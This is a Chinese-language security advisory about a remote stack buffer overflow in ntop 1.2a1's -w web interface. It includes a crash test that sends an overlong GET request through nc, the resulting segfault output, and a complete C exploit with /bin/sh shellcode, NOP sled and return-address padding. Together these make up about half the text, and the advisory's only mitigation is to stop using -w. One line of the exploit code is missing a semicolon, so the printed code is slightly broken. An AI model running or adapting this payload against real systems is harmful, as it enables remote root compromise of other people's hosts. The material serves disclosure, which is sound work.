首页 -> 安全研究

安全研究

安全漏洞
ntop -w 参数远程溢出漏洞

发布日期:2000-10-26
更新日期:2000-10-26

受影响系统:

ntop 1.2a1
  - Redhat Linux 6.x
描述:

ntop是一个用来监视和分析unix系统网络使用状况的工具,如果使用"-w"参数启
动ntop,它会提供一个web接口,允许通过web远程访问它。

当提供一个超常的文件名给正在监听的ntop时,将导致ntop发生堆栈溢出,攻击
者可能远程得到超级用户权限。


<* 来源: JW Oh (mat@IVNTECH.COM) *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


按照下列步骤可以测试是否您的ntop是有问题的:

1.  $ ntop -w 8080

2.  $ printf "GET /`perl -e 'print "A"x240'`\r\n\r\n" |nc localhost 8080

3.  ntop会发生段访问错误:

$ ntop -w 8080
  ntop v.1.2a1 MT [i686-pc-linux-gnu] listening on eth0.
  Copyright 1998-99 by Luca Deri <deri@unipi.it>
  Warning: unable to read file '.ntop'. No security will be used!
  Waiting for HTTP connections on port 8080...
  Segmentation fault
  
4. 下面是JW Oh提供的测试代码:

----------------------ntop-w-exp.c-----start-----------------------
#include <stdio.h>
#include <string.h>


char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

void usage()
{
printf("NTOP ntop-1.2a1 -w mode command execution exploit.\n");
printf("                                 mat@hacksware.com\n")
exit(0);
}

void main( int argc, char *argv[] )
{
  int i,offset=-24;
#define CODE_LEN 240
#define NOP_LEN 50
  char code_buf[CODE_LEN];
  unsigned long esp=0xbedffb00;

  if(argc >= 2) offset = atoi(argv[1]);

  memset(code_buf,0x90,NOP_LEN); //insert NOP CODES
  memcpy(code_buf+NOP_LEN, shellcode, strlen(shellcode));
  for(i=strlen(shellcode)+NOP_LEN;i<=CODE_LEN;i+=4)
     *(long *)&code_buf[i]=(unsigned long)esp-offset;

  printf("GET /");
  for(i=0;i<CODE_LEN; i++)
  {
     putchar(code_buf[i]);
  }
  printf("\r\n\r\n");
}
-------------------------ntop-w-exp.c----end--------------------------

建议:

临时解决方法:

NSFOCUS建议您在没有升级程序或安装补丁之前暂时停止使用ntop -w监听端口。

厂商补丁:

暂无.


浏览次数:6493
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障